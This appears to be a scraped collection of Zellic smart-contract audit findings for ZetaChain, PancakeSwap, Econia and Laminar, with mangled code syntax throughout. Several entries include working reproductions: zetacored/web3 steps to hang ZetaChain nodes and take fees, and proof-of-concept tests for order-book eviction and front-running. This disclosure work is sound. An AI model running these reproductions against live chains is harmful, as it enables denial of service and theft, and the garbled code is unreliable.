in the loop. The following steps can be performed to replicate this issue. First, create a new ac- count to simulate a malicious user, then deploy the following contract to the zEVM: /) SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract Demo { function loop() external { while(true) {} } } Using the details of the malicious account (one can use zetacored keys unsafe-expo rt-eth-key to get the private key) and the deployed contract, sign a transaction and get the hex bytes: import web3 from web3 import Web3 account = \"0x30b254F67cBaB5E6b12b92329b53920DE403aA02\" contract = \"0x6da71267cd63Ec204312b7eD22E02e4E656E72ac\" Zellic ZetaChain private_key = \"xxx\" loop_selector = \"0xa92100cb\" loop_data={\"data\":loop_selector,\"from\": account, \"gas\": \"0xFFFFFFFFFFFFFFF\",\"gasPrice\": \"0x7\",\"to\": contract,\"value\": \"0x0\", \"nonce\": \"0x0\"} w3 = web3.Web3(web3.HTTPProvider(\"http:))localhost:9545\")) print(w3.eth.account.sign_transaction(transaction_dict=nop_data, private_key=private_key)) This can then be used to generate a MsgEthereumTx message, which we then remove the ExtensionOptionsEthereumTx and wrap it in a MsgExec using the authz grant mech- anism: zetacored tx evm raw [TX_HASH] -)generate-only > /tmp/tx.json sed -i 's/{\"@type\":\"\\/ethermint.evm.v1.ExtensionOptionsEthereumTx\"}/)g' /tmp/tx.json zetacored tx -)chain-id athens_101-1 -)keyring-backend=test -)from $hacker authz exec /tmp/tx.json -)fees 20azeta -)yes Since the granter and the grantee are the same in this instance, the grant automatically passes, causing the inner message to be executed and putting the nodes in an infinite loop. It is also possible to steal all the transaction fees for the current block by supplying a higher gas limit that is used. Since the gas was never paid for, when RefundGas is triggered, it will end up sending any gas that was collected from other transactions. Consider adding a new Ante handler base on the AuthzLimiterDecorator that was used to fix the issue in EVMOS; see https://github.com/evmos/evmos/blob/v12.1.2/app/ante/cosmos/authz.go#L58- L91. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 3362b137. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.12 Unbonded validators prevent the TSS vote from passing", + "labels": [ + "Zellic" + ], + "body": "Target: keeper_tss_voter.go Category: Coding Mistakes Likelihood: High Severity: Medium : Medium Bonded validators can cast a vote to add a new TSS by sending a MsgCreateTSSVoter. The issue is that there is a check to allow only bonded validators to vote, but for the vote to pass, the number of signers must be equal to the total number of validators (which includes unbonded/unbonding validators). func (k msgServer) CreateTSSVoter(goCtx context.Context, msg *types.MsgCreateTSSVoter) (*types.MsgCreateTSSVoterResponse, error) { ctx :) sdk.UnwrapSDKContext(goCtx) validators :) k.StakingKeeper.GetAllValidators(ctx) if !IsBondedValidator(msg.Creator, validators) { return nil, sdkerrors.Wrap(sdkerrors.ErrorInvalidSigner, fmt.Sprintf(\"signer %s is not a bonded validator\", msg.Creator)) } /) [ ...)) ] /) this needs full consensus on all validators. if len(tssVoter.Signers) =) len(validators) { tss :) types.TSS{ Creator: \"\", Index: tssVoter.Chain, Chain: tssVoter.Chain, Address: tssVoter.Address, Pubkey: tssVoter.Pubkey, Signer: tssVoter.Signers, FinalizedZetaHeight: uint64(ctx.BlockHeader().Height), } k.SetTSS(ctx, tss) } return &types.MsgCreateTSSVoterResponse{}, nil } Zellic ZetaChain If not every validator is a bonded validator, then it is impossible to add a new TSS as the vote can never pass. As anyone can become an unbonded validator, this would be easy to trigger and will likely happen in the course of normal operation as validators will unbond, putting them into an unbonding state. It is also possible for a bonded validator to sign the vote, become unbonded and re- moved, and have the vote still count. The vote should only be passed when the set of currently bonded validators have all signed it. This issue has been acknowledged by ZetaChain. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.1 Precision factor is not precise enough", + "labels": [ + "Zellic" + ], + "body": "Target: pancake::smart_chef Category: Coding Mistakes Likelihood: High Severity: High : High The precision_factor used to avoid division precision errors is not large enough to mitigate truncation to zero errors. The formula for acc_token_per_share is calculated by acc_token_per_share = acc_token_per_share + (reward * precision_factor) / total_stake; and the precision_factor is calculated by let precision_factor = math:)pow(10, (16 - reward_token_decimal)); In the case that total_stake is greater than (reward * precision_factor), which can happen if the average user deposits 100 StakeToken coins of 12 decimals, or one factor smaller of a token of one decimal lower, acc_token_per_share can get truncated to zero via the division. This disables users from getting rewards, with the threat being highly likely for any coin greater than 11 decimals. In a proof of concept, we recreated such a scenario by first minting some users an av- erage of 100 coins of a token of 12 decimals via a pseudo-random number generator and staking them. while (i < 30) { let minted_amount = *vector:)borrow_mut(&mut random_num_vec, i) * pow(10, coin_decimal_scaling); test_coins:)register_and_mint(&coin_owner, vector:)borrow(&signers_vec, i), minted_amount); Zellic PancakeSwap i = i + 1; }; while (i < 30) { deposit(vector:)borrow(&signers_vec, i), coin:)balance(signer:)address_of(vector:)borrow(&signers_vec, i)))); i = i + 1; }; We then increased the timestamp to allow rewards to accrue via the following: timestamp:)update_global_time_for_test_secs(start_time + 30); And finally, we retrieved the reward for each staker through the following code, while (i < 30) { let user_pending_reward = get_pending_reward(signer:)address_of(vector:)borrow(&signers_vec, i))); debug:)print(&user_pending_reward); i = i + 1; }; in which all user_pending_reward outputted a zero value, which indicated no users received any rewards. We provided a full test for PancakeSwap Finance for reproduction. We recommend using a higher precision factor such as in the EVM version or restrict- ing the maximum decimal of the reward and stake coin to no greater than 10. PancakeSwap acknowledged the finding and resolved it in commits 19a751d7 and 390c8744. Zellic PancakeSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/PancakeSwap Aptos - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Excessive rewards allocation leads to DOS", + "labels": [ + "Zellic" + ], + "body": "Target: pancake::smart_chef Category: Coding Mistakes Likelihood: Low Severity: Medium : High First, understand the following variables in the add_reward function: pool_info.historical_add_reward: the total amount of reward LP that the admin has deposited. pool_info.reward_per_second: the maximum amount of reward LP the admin is allowed to deposit per second; the following assertion in add_reward requires that the admin\u2019s new deposit does not cause the historical average reward LP deposit per second to exceed pool_info.reward_per_second: pool_info.historical_add_reward = pool_info.historical_add_reward + amount; assert!(pool_info.reward_per_second * (pool_info.end_timestamp - pool_info.start_timestamp) >) pool_info.historical_add_reward, ERROR_REWARD_MAX); When calculating pool_info.acc_token_per_share using the cal_acc_token_per_shar e function, we see that the reward-to-stake token ratio is based off of reward_per_s econd, which is the maximum reward LP deposit rate\u2014not the actual deposit rate\u2014 multiplied by the period multiplier: let reward = u256:)from_u128((reward_per_second as u128) * (multiplier as u128)); Because the ratio is calculated using the maximum reward and the admin can deposit less than this amount, reward payouts may be too large, meaning the protocol can potentially be in deficit, leading to an underflow abort given enough withdrawals. This would require users to emergency_withdraw and forfeit rewards to save their funds. The reward supply can be lower than it should be; the aforementioned add_reward assertion requires that the \u201climit >= actual\u201d, meaning the \u201cactual supply is always <= the limit\u201d. For the reward supply to be sufficient, it must always be equal to the limit. We created tests to prove the existence of this bug and provided them to the customer separately from this report. Zellic PancakeSwap Certain conditions may lead to users having to save funds by calling emergency_withd raw, forfeiting their rewards. The following scenarios increase the likelihood of triggering the bug: smaller amounts deposited by an admin, at least less than the reward LP deposit limit (pool_info.reward_per_second). more users depositing at the pool start, fewer users depositing after pool start (pool_info.start_timestamp). more users withdrawing rewards later in the pool period. Rather than using the reward token LP deposit limit when calculating pool_info.acc_ token_per_share, use the actual reward token LP balance. Note that admins may deposit reward token LP after the pool has started. PancakeSwap remediated the issue by taking out pool_info.historical_add_reward in commit 19a751d7. Zellic PancakeSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/PancakeSwap Aptos - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Potential overflow in the add_reward function", + "labels": [ + "Zellic" + ], + "body": "Target: pancake::smart_chef Category: Coding Mistakes Likelihood: Low Severity: Low : High In the add_reward function, there exists the following assertion that checks that the admin is not depositing more reward LP than the pool.historical_add_reward limit: assert!(pool_info.reward_per_second * (pool_info.end_timestamp - pool_info.start_timestamp) >) pool_info.historical_add_reward, ERROR_REWARD_MAX); Note that multiplying these two u64 values may result in an integer overflow\u2014especially since pool_info.reward_per_second will likely be a large number, particularly for re- ward tokens of larger decimals, and the maximum u64 value is only 20 decimals. It is possible for an admin to configure a pool in a way that admins cannot deposit reward LP using the add_reward function. Cast the multiplier and multiplicand values to u256 before the operation: assert!(pool_info.reward_per_second * (pool_info.end_timestamp - pool_info.start_timestamp) >) pool_info.historical_add_reward, ERROR_REWARD_MAX); assert!(u256:)as_u128(u256:)mul( u256:)from_u64(pool_info.reward_per_second), u256:)sub( u256:)from_u64(pool_info.end_timestamp), u256:)from_u64(pool_info.start_timestamp) ) )) >) pool_info.historical_add_reward as u128, ERROR_REWARD_MAX); Zellic PancakeSwap PancakeSwap remediated the issue by taking out pool_info.historical_add_reward in commit 19a751d7. Zellic PancakeSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/PancakeSwap Aptos - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Adversarial order eviction", + "labels": [ + "Zellic" + ], + "body": "Target: econia:)avl_queue Category: Business Logic Likelihood: High Severity: Critical : Critical Econia\u2019s order book is built on an AVL queue. To avoid allowing the data structure to grow too large (incurring excessive gas costs for insertions and deletions), Econia evicts the order with the lowest price-time priority if the AVL queue tree exceeds a critical height. Critical height checking and eviction occur when inserting a new node using the ins ert_check_eviction or insert_evict_tail functions. When placing an order, Econia uses the insert_check_eviction function to update the AVL queue, then cancels any evicted orders: /) Get new AVL queue access key, evictee access key, and evictee /) value by attempting to insert for given critical height. let (avlq_access_key, evictee_access_key, evictee_value) = avl_queue:)insert_check_eviction( orders_ref_mut, price, order, critical_height); /) [...))] if (evictee_access_key =) NIL) { /) If no eviction required: /) Destroy empty evictee value option. option:)destroy_none(evictee_value); } else { /) If had to evict order at AVL queue tail: /) Unpack evicted order, storing fields for event. let Order{size, price, user, custodian_id, order_access_key} = option:)destroy_some(evictee_value); /) Get price of cancelled order. let price_cancel = evictee_access_key & HI_PRICE; /) Cancel order user-side, storing its market order ID. let market_order_id_cancel = user:)cancel_order_internal( user, market_id, custodian_id, side, price_cancel, order_access_key, (NIL as u128)); Zellic Econia Labs /) Emit a maker evict event. event:)emit_event(&mut order_book_ref_mut.maker_events, MakerEvent{ market_id, side, market_order_id: market_order_id_cancel, user, custodian_id, type: EVICT, size, price}); }; The protocol does not take a fee when a user places an order, and orders can be cancelled within the same transaction. An attacker can cause legitimate orders to be evicted from the structure, effectively cancelling them. Aptos maximum gas limit allows an attacker to perform the attack in one single transaction, without any risk for the attacker\u2019s assets (temporarily required to be deposited to Econia to place the malicious orders). Aside from the DOS threat for any protocol built on Econia, the vulnerability can have further impacts depending on the protocol. Consider the following examples of pro- tocol types and how they may be impacted by this vulnerability: Decentralized token exchanges: Attackers can use this vulnerability to manipu- late the order book to evict all orders on one side of the book. They could then place orders at arbitrary prices, allowing them to profit from buying or selling assets at an artificial price that does not reflect the market value from unsus- pecting users and bots. This would also impact the trading strategies of users who might not expect their orders to be cancelled. Decentralized margin trading protocols: Attackers can exploit this vulnerability to influence the price of one or more assets, causing margin positions to be liquidated. This scenario is plausible if the margin trading protocol infers asset pricing from order book entries (e.g., using BID or ASK price or mid-market rate) or by looking at the price of recent trade events. Decentralized derivatives markets: Attackers can place orders with a higher price-time priority than what the derivatives traders have set, allowing them to take advantage of the traders\u2019 positions and force them to liquidate at a loss. This can happen if the derivatives market uses the mid-market rate on Econia as the price source, or alternatively, the last trades. This gives the attacker access to the funds that the derivatives trader has deposited in the protocol. Decentralized lending protocols: Attackers can use this vulnerability to manipu- late the order book, allowing them to borrow funds for a lower interest rate than what is actually available on the market. This can happen if the lending protocol uses the mid-market rate on Econia as the price source, or alternatively, the last Zellic Econia Labs trades. This gives them an unfair advantage over legitimate borrowers, allow- ing them to borrow funds at a much lower rate and thus allowing them to steal funds from the protocol. Reproduction steps To perform an attack, an attacker may use the following steps: 1. Place enough limit orders with a higher price-time priority than the target trans- action(s) on the same side (BID/ASK), storing each resulting order ID. The order size must be valid, but it can be any amount. Each order price must be unique; a new price level must exist for each order. The price must not cross the spread, since the order has to be posted on the book. The maximum number of orders required to evict any other order is 2,048 given the critical tree height CRITICAL_HEIGHT of 10 at the time of the audit and given that every illegitimate order has a unique price level. Fewer orders may be re- quired when the order book contains legitimate orders at different price levels with a higher price-time priority than the target order. Note that this attack may be funded by a flash loan if the attacker does not have sufficient funds to place the malicious orders. Though a flash loan may take a fee, the profit of an attack using this vulnerability will likely exceed any flash loan fee. 2. Cancel all stored order IDs of illegitimate orders. The attacker\u2019s funds will be returned without any fee being charged. Limit orders evicted in step 1 remain cancelled. We note that the worst case scenario from an attacker\u2019s perspective is evicting all orders from one side of a very liquid market, where the spread is likely negligible and there\u2019s a high concentration of assets near it. It might not be possible to post 2,048 orders at different price levels without crossing the spread in order to evict all orders from one side. This does not prevent the attack, but it will require widening the spread by filling orders on one or both sides of the book, costing some capital. The majority of the capital can likely be recovered, as the orders filled by the attacker are priced near the \u201ccorrect\u201d market rate of the asset. Demonstrative test To demonstrate an attack, we provided the following proof of concept to Econia Labs: Zellic Econia Labs #)test(account = @simulation_account)] fun test_can_cancel_legitimate_order(account: &signer) acquires OrderBooks, Orders { /) initialize markets, users, and an integrator. let (user_0, user_1) = init_markets_users_integrator_test(); let user_2 = account:)create_account_for_test(@user_2); user:)register_market_account( &user_2, MARKET_ID_COIN, NO_CUSTODIAN); /) setup test let (taker_divisor, integrator_divisor) = (incentives:)get_taker_fee_divisor(), incentives:)get_fee_share_divisor(INTEGRATOR_TIER)); let price = integrator_divisor * taker_divisor; let initial_amount_bc = HI_64/2; let initial_amount_qc = HI_64/2; user:)deposit_coins(@user_0, MARKET_ID_COIN, NO_CUSTODIAN, user:)deposit_coins(@user_0, MARKET_ID_COIN, NO_CUSTODIAN, assets:)mint_test(initial_amount_bc)); assets:)mint_test(initial_amount_qc)); user:)deposit_coins(@user_1, MARKET_ID_COIN, NO_CUSTODIAN, assets:)mint_test(initial_amount_bc)); user:)deposit_coins(@user_1, MARKET_ID_COIN, NO_CUSTODIAN, assets:)mint_test(initial_amount_qc)); user:)deposit_coins(@user_2, MARKET_ID_COIN, NO_CUSTODIAN, user:)deposit_coins(@user_2, MARKET_ID_COIN, NO_CUSTODIAN, assets:)mint_test(initial_amount_qc)); assets:)mint_test(initial_amount_bc)); /) #1: place limit order ASK size*4 debug:)print(&1); let (order_id, _, _, _) = place_limit_order_user( &user_0, MARKET_ID_COIN, @integrator, ASK, MIN_SIZE_COIN*4, price, POST_OR_ABORT); debug:)print(&std:)bcs:)to_bytes(&order_id)); /) #2: place limit order BID size (fulfills immediately) debug:)print(&2); Zellic Econia Labs let (order_id, base_traded, quote_traded, fees) = place_limit_order_user( &user_1, MARKET_ID_COIN, @integrator, BID, MIN_SIZE_COIN*1, price, FILL_OR_ABORT); debug:)print(&std:)bcs:)to_bytes(&order_id)); debug:)print(&base_traded); debug:)print("e_traded); debug:)print(&fees); /) #3: spam orders debug:)print(&3); let n_orders = 2048; let i: u64 = 0; let ids: vector = vector:)empty(); while (i < n_orders) { let (order_id, _, _, _) = place_limit_order_user( &user_1, MARKET_ID_COIN, @integrator, ASK, MIN_SIZE_COIN, price-i-1, POST_OR_ABORT); debug:)print(&std:)bcs:)to_bytes(&order_id)); vector:)push_back(&mut ids, order_id); i = i + 1; }; i = 0; while (i < n_orders) { let order_id = vector:)pop_back(&mut ids); cancel_order_user(&user_1, MARKET_ID_COIN, ASK, order_id); i = i + 1; }; /) #4: place market order BUY debug:)print(&4); let (base_traded, quote_traded, fees) = place_market_order_user( &user_2, MARKET_ID_COIN, @integrator, BUY, 0, MAX_POSSIBLE, 0, MAX_POSSIBLE, price*200); debug:)print(&base_traded); /) should be 0 if #1 was cancelled debug:)print("e_traded); /) should be 0 ^ Zellic Econia Labs debug:)print(&fees); /) should be 0 ^ /) #5: verify there are no ASK orders left since #1 was evicted index_orders_sdk(account, MARKET_ID_COIN); /) Index orders. let orders = borrow_global(@simulation_account); assert!(vector:)length(&orders.asks) =) 0, 0); } The test places a legitimate order, then places 2048 illegitimate orders, cancels all illegitimate orders, then verifies that the legitimate order was also cancelled. There are a few potential approaches to lower the risk of attack, though none of the following strategies is a complete solution. Impose a minimum order size and tick size This would help deter adversarial behavior by requiring more capital to perform the attack. This approach has the advantage of being relatively straightforward to imple- ment. The approach does not eliminate the vulnerability for a well-funded attacker (possibly financed via a flash loan); the profits may easily exceed the cost, especially since the attacker recovers their funds when cancelling their order. Disallowing immediate cancellation of orders This would require storing a sequence number in each user\u2019s order, and it could be imposed either for the current block number (one-block delay required to cancel) or by an account sequence number (a minimum of one transaction delay required to cancel). This strategy has the advantage of making the attack riskier and more costly, as the attacker would now have to wait before being able to cancel the orders and recover their funds; during the delay period, bots may fulfill the high price-level orders. Though, this approach does not eliminate the attack vector because an attacker can still exploit the vulnerability over multiple transactions. Additionally, this strategy may be problematic for market makers, as it would prevent them from quickly cancelling orders. Zellic Econia Labs Increase the critical height for eviction This would make it so that clearing out the order book would take more than 16k dele- tions from the AVL queue, which cannot be done in a single transaction given the cur- rent maximum per-transaction gas limit on Aptos. This strategy has the advantage of being relatively straightforward to implement and could potentially deter a malicious actor. However, it may lead to higher gas costs because Econia must traverse a tree with potentially more price levels. Increasing the maximum size of the order book may also introduce a DOS attack vector where an attacker places many small orders to cause the AVL queue to grow to the point where it is not practical to place orders because of gas fees (or where it is impossible because of the per-transaction gas limit). Econia Labs acknowledged this finding and created a GitHub issue to discuss reme- diations. They provided the following response to our proof of concept: When we were designing the AVL queue we imposed the critical height con- straints basically to prevent the data structure from getting too large: the more tree nodes, the more it costs to insert or delete. Hence the eviction schema, which is supposed to solve a different DOS attack vector: placing a bunch of small orders that grow the tree grows too large and eats up gas. Per the eviction approach, if someone places an order far away from the spread, they risk getting evicted if someone comes along with a better order. But as you demonstrated, this approach could lead to adversarial behavior. The critical height of the AVL queue (econia:)market:)CRITICAL_HEIGHT) was increased from 10 to 18 in commit 9b3cada1. This makes it harder for an attacker to exploit this issue without risk, but it does not completely eliminate the issue. The increased critical height requires 16,383 orders to be inserted in order to guarantee fully evicting all the orders on one side of the book (per the calculations provided by the Econia team). This is impossible to accomplish in a single transaction due to the current max compute limit in place on Aptos. However, the attack is still viable if an attacker accepts the risk of some of their ma- licious orders being filled. Note that the capital cost of inserting many orders is not necessarily high and varies on the minimum order size for the market and the price level at which the orders are inserted. Zellic Econia Labs Additionally, an attacker might not be interested in evicting one side of the order book as a whole but might still find advantageous to evict the tail of the orders. In general, an attacker has the ability to choose a price cutoff and evict all orders that have a price that is worse (lower or higher, depending on the side being attacked) by posting malicious orders with a better price. This price does not have to be the best price for the chosen side of the order book, but it can instead be in between other better priced orders (which will not be evicted) and the victim ones. This makes it possible to evict the majority of the orders on the book without significant risk even without doing so in a single transaction, since the malicious orders will not be filled unless all the other better priced ones are filled first. Econia Labs provided the following notes: We have added a section to our documentation about the topic and how to avoid making erroneous assumptions as an integrating protocol: https://econia.dev/overview/orders#adversarial-considerations We have started looking into a B+ tree (per discussions with @fcremo ) that is unaffected by eviction behavior, and are considering it as an upgradeable feature pending more research: https://github.com/econia-labs/econia/issues/62 Zellic Econia Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Econia - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Cancelling nonexistent market order IDs aborts", + "labels": [ + "Zellic" + ], + "body": "Target: econia:)market Category: Coding Mistakes Likelihood: Informational Severity: Informational : Informational Cancelling a market order ID that does not exist in the AVL queue ungracefully aborts with the following error: native fun borrow_box_mut(table: &mut Table, key: K): &mut Box; ^^^^^^^^^^^^^^ \u2502 Test was not expected to abort but it aborted with 25863 here In this function in 0x1:)table To reproduce this issue, use the following test: #)test] fun test_nonexistent_market_order_id() acquires OrderBooks { let (_, user_1) = init_markets_users_integrator_test(); let nonexistent_market_order_id = 0xdeadbeef; cancel_order_user(&user_1, MARKET_ID_COIN, ASK, nonexistent_market_order_id); } The function call chain to the offending borrow_box_mut call is market:)cancel_order avl_queue:)remove avl_queue:)remove_list_node avl_queue:)remove_list_node_update_edges The borrow_mut line below causes the transaction to abort: } else { /) If node was not list head: /) Mutably borrow last list node. Zellic Econia Labs let list_node_ref_mut = table_with_length:)borrow_mut( list_nodes_ref_mut, last_node_id); It may be more difficult for developers building on Econia to debug code cancelling a nonexistent market order ID. Assert that the market order ID exists, or otherwise, gracefully exit if the node is not found in the AVL queue. Econia remediated the issue in commit 7549fef. Zellic Econia Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Econia - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Duplicate call in coin register", + "labels": [ + "Zellic" + ], + "body": "Target: dex::stake Category: Coding Mistakes Likelihood: High Severity: High : High The following function register_staking_account calls coin:)register twice via the following snippet: if (!coin:)is_account_registered(addr)) { coin:)register(account); coin:)register(account); }; Users will not be able to register a staking account as the second coin:)register fails due to the following assert statement in the coin:)register function: assert!( !is_account_registered(account_addr), error:)already_exists(ECOIN_STORE_ALREADY_PUBLISHED), ); We recommend removing one of the coin:)register calls. Laminar acknowledged this finding and implemented a fix in commit 691c. Zellic Laminar", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Potential frontrunning in orderbook create", + "labels": [ + "Zellic" + ], + "body": "Target: dex::book Category: Coding Mistakes Likelihood: High Severity: High : High The book:)create_orderbook function calls account:)create_resource_account. The latter takes a signer and a seed to calculate an address and then creates an account at that address. This behavior is shown in the following snippet: let seed_guid = account:)create_guid(account); let seed = bcs:)to_bytes(&seed_guid); let (book_signer, book_signer_cap) = account:)create_resource_account(account, seed); If the address of the signer and the seed are known, the address that account:)creat e_resource_account will use can be determined. Therefore, an attacker can front-run book:)create_orderbook by creating an account at the right address, causing book:)c reate_orderbook to revert. The seed and address are trivial to determine; an address is public information and the seed is simply the guid_creation_num member of the Account struct. Therefore, the seed can be read from the blockchain. Affected users will not be allowed to create orderbooks, which will result in them not being able to use the market. The following unit test demonstrates how an attacker could front-run book:)create_ orderbook: #)test(account = @dex)] #)expected_failure] fun create_fake_orderbook(account: &signer) { create_fake_coins(account); let victim_addr = signer:)address_of(account); let guid_creation_num = account:)get_guid_next_creation_num(victim_addr); Zellic Laminar let seed_id = guid:)create_id(victim_addr, guid_creation_num); let seed_guid = GUID { id: seed_id }; let seed = bcs:)to_bytes(&seed_guid); let new_addr = account:)create_resource_address(&victim_addr, seed); aptos_account:)create_account(new_addr); /) Should fail book:)create_orderbook(account, 3, 3, 1000); } We have provided the full PoC to Laminar for reproduction and verification. Consider using a nondeterministic seed to create the resource account. Commit 925e8a4 in aptos-core, introduced by Aptos during the audit prevents the front running of resource accounts via an override if an account exists at the resourc e_addr. let resource = if (exists_at(resource_addr)) { let account = borrow_global(resource_addr); assert!( option:)is_none(&account.signer_capability_offer.for), error:)already_exists(ERESOURCE_ACCCOUNT_EXISTS), ); assert!( account.sequence_number =) 0, error:)invalid_state(EACCOUNT_ALREADY_USED), ); create_signer(resource_addr) Zellic Laminar", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Order checker functions use full order size rather than re- maining order size", + "labels": [ + "Zellic" + ], + "body": "Target: dex::book Category: Coding Mistakes Likelihood: High Severity: High : High book:)can_bid_be_matched and book:)can_ask_be_matched check if an order can be filled using an order book. It intends to add up the remaining sizes on the orders in the order book that can match the bid/ask. However, instead of adding up the remaining sizes of these orders, it adds up the full sizes of these orders, as shown in the example below. let bid_size = (order:)get_size(bid) as u128); This is problematic because some orders may have been partially fulfilled. In some instances the checker functions would count these partially fulfilled orders at their full values. But when the DEX tries to match these orders, it may fill the orders less than book:)can_bid_be_matched/book:)can_ask_be_matched indicated the order could be filled. book:)can_bid_be_matched and book:)can_ask_be_matched may indicate that an order can be fully matched when it is not fully matchable. This would cause the following line in book:)place_bid_limit_order/book:)place_ask_limit_order to revert: assert!(order:)get_remaining_size(&order) =) 0, ENO_MESSAGE); Change the order:)get_size call to order:)get_remaining_size Laminar acknowledged this finding and implemented a fix in commit 0a71. Zellic Laminar", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Potentially incorrect implementation of multiple queue op- erations", + "labels": [ + "Zellic" + ], + "body": "Target: flow::queue Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium queue:)remove handles index_to_remove three different ways based on if it is the head, tail, or neither. In the case index_to_remove is neither, there is an assertion that ensures that the node at prev_index is actually before index_to_remove: assert!(guarded_idx:)unguard(prev_node.next) =) index_to_remove, EINVALID_REMOVAL); The same check should occur in the case that index_to_remove is the tail since the previous node is still relevant in this case: let prev_node = vector:)borrow_mut(&mut queue.nodes, *option:)borrow(&prev_index)); prev_node.next = guarded_idx:)sentinel(); Furthermore, queue:)remove cannnot handle a queue of length one. It will set the head to the sentinel value but not the tail. The following operations will bring about this issue: #)test] #)expected_failure (abort_code=EQUEUE_MALFORMED)] fun test_corrupt_queue_with_remove() { let queue = new(); enqueue(&mut queue, 10); /) The third argument is irrelevant remove(&mut queue, 0, option:)some(4)); enqueue(&mut queue, 1); } Subsequent queue operations will notice that the head is a sentinel but the tail is not, Zellic Laminar causing them to abort. Next, in queue:)has_next, there is an assertion followed by an if statement and a sec- ond assertion that will never fail: assert!(!is_empty(queue), EQUEUE_EMPTY); if (!is_empty(queue) &) guarded_idx:)is_sentinel(iter.current)) { ...)) } else { assert!(!guarded_idx:)is_sentinel(iter.current), EITERATOR_DONE); ...)) } The first term of the boolean expression will always evaluate to true and the assert in the else block will never abort. Therefore they are unecessary to add from a gas perspective. Each of the points has the potential to corrupt the queue. However, the impact is more limited since book:)move is less likely to use the queue in unintended ways. Modify the implementation of the queue operations described to fix the issues. For the first issue, add the assertion to the else if block. For the second issue, a queue of length one should be handled as a special case and the queue object should be cleared. For the third issue, remove the first term of the boolean expression in the if state- ment. Also, remove the first assert in the else block. Laminar acknowledged this finding and implemented a fix in commits 0ceb, d1aa and 7e01. Zellic Laminar 4 Formal Verification The MOVE prover allows for formal specifications to be written on MOVE code, which can provide guarantees on function behavior as these specifications are exhaustive on every possible input case. During the audit period, we provided Laminar with Move prover specifications, a form of formal verification. We found the prover to be highly effective at evaluating the entirety of certain functions\u2019 behavior and recommend the Laminar team to add more specifications to their code base. One of the issues we encountered was that the prover does not support recursive code yet and thus such places had to be ignored. Nevertheless, recursive support is coming prompty as seen in this commit here. The following is a sample of the specifications provided.", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "4.1 dex::order Verifies setter functions: spec set_size { aborts_if false; ensures order.size =) size; } spec set_price { aborts_if false; ensures order.price =) price;", + "labels": [ + "Zellic" + ], + "body": "4.1 dex::order Verifies setter functions: spec set_size { aborts_if false; ensures order.size =) size; } spec set_price { aborts_if false; ensures order.price =) price; }", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "4.2 dex::instrument Verifies resources exist and return value upon function invocation: spec create { ensures result.price_decimals =) price_decimals; Zellic Laminar ensures exists)(signer:)address_of(account)); ensures exists)(signer:)address_of(account));", + "labels": [ + "Zellic" + ], + "body": "4.2 dex::instrument Verifies resources exist and return value upon function invocation: spec create { ensures result.price_decimals =) price_decimals; Zellic Laminar ensures exists)(signer:)address_of(account)); ensures exists)(signer:)address_of(account)); }", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "4.3 dex::coin Verifies coin of type T exists after registration: spec register { ensures exists)(signer:)address_of(account));", + "labels": [ + "Zellic" + ], + "body": "4.3 dex::coin Verifies coin of type T exists after registration: spec register { ensures exists)(signer:)address_of(account)); }", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "4.4 flow::guarded_idx Verifies when guards behavior: spec guard { aborts_if value =) SENTINEL_VALUE; ensures result =) GuardedIdx {value}; } spec unguard { aborts_if is_sentinel(guard); ensures result =) guard.value; } spec try_guard { aborts_if false; ensures value !) SENTINEL_VALUE ==> result =) GuardedIdx {value}; } spec fun spec_none(): Option { Option{ vec: vec() } } spec fun spec_some(e: Element): Option { Option{ vec: vec(e) } } Zellic Laminar spec try_unguard { ensures guard.value =) SENTINEL_VALUE ==> result =) spec_none(); ensures guard.value !) SENTINEL_VALUE ==> result =) spec_some(guard.value);", + "labels": [ + "Zellic" + ], + "body": "4.4 flow::guarded_idx Verifies when guards behavior: spec guard { aborts_if value =) SENTINEL_VALUE; ensures result =) GuardedIdx {value}; } spec unguard { aborts_if is_sentinel(guard); ensures result =) guard.value; } spec try_guard { aborts_if false; ensures value !) SENTINEL_VALUE ==> result =) GuardedIdx {value}; } spec fun spec_none(): Option { Option{ vec: vec() } } spec fun spec_some(e: Element): Option { Option{ vec: vec(e) } } Zellic Laminar spec try_unguard { ensures guard.value =) SENTINEL_VALUE ==> result =) spec_none(); ensures guard.value !) SENTINEL_VALUE ==> result =) spec_some(guard.value); }", + "html_url": "https://github.com/Zellic/publications/blob/master/Laminar - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The claimReceiverContract variable is not fully validated", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: Low Severity: High : Medium When the user is claiming funds through the claim() function, all of the user\u2019s de- posited funds are sent to the claimReceiverContract, which is set by the owner. This is a storage variable that is set using the setClaimReceiverContract() function. Within the setClaimReceiverContract() function, the only validation done on the ad- dress of the contract is to ensure that it is not address(0). This validation is not enough, as it is possible for the owner to set the address to a contract that is not able to transfer out any ETH or ERC20 